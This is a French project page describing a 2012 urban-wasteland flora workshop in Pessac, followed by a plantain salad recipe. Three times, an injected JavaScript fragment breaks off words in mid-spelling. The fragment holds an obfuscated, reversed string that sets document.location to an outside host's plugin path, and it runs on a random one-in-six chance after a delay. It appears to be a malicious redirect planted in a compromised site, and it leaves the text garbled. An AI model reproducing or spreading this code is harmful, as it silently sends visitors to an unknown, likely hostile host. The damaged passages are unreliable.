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• Réalisation

  2012

• Lieu

  Pessac

• Maîtrise d'ouvrage

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• Maîtrise d'oeuvre

  Friche and Cheap
  Sébastien Blanco
  Epicerie Solidaire

• Budget

  -

Dans le cadre du projet collectif sur la place André Meunier, Friche and Cheap a mené une action de sensibilisation des participants à la flore urbaine des friches. Ces espaces en milieu urbain, situation d’exception, constituent souvent un véritable refuge pour la biodiversité autant animale que végétale. L’atelier s’est organisé autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tour d’une visite au coeur d’une friche située sur la commune de Pessac, cette déambulation ayant pour double objectif d’expliquer le système naturel de reconversion par le végétal des espaces délaissés et d’amener les participants à identifier et reconnaitre eux-mêmes un certain nombre de végétaux. L’atelier visant à familiariser les participants avec une flore urbaine trop souvent dépréciée et méconnue, il s’est conclu par un repas de friche à base des végétaux cueillis durant la journée. Des petits livrets ont par la suite été diffusés aux participants proposant une série de recettes de cuisine à réaliser avec des végétaux issus de la flore urbaine.

 

LA RECETTE DE LA SALADE DE PLANTAIN

pour 4 personnes

 

une romaine, une grosse poignée de plantain, une douzaine de filets d’anchois allongés à l’huile d’olive, huile d’olive, vinaigre, sel, poivre,

1 ou 2 gousses d’ail, croutoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tons de pain.

 

Lavez et coupez les feuilles de salade et de plantain.

Ajoutez les anchois coupés en petits morceaux.

Préparez la vinaigrette et ajoutez à la salade.

Servir avec des croutoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tons frottés à l’ail.

Bon appetit !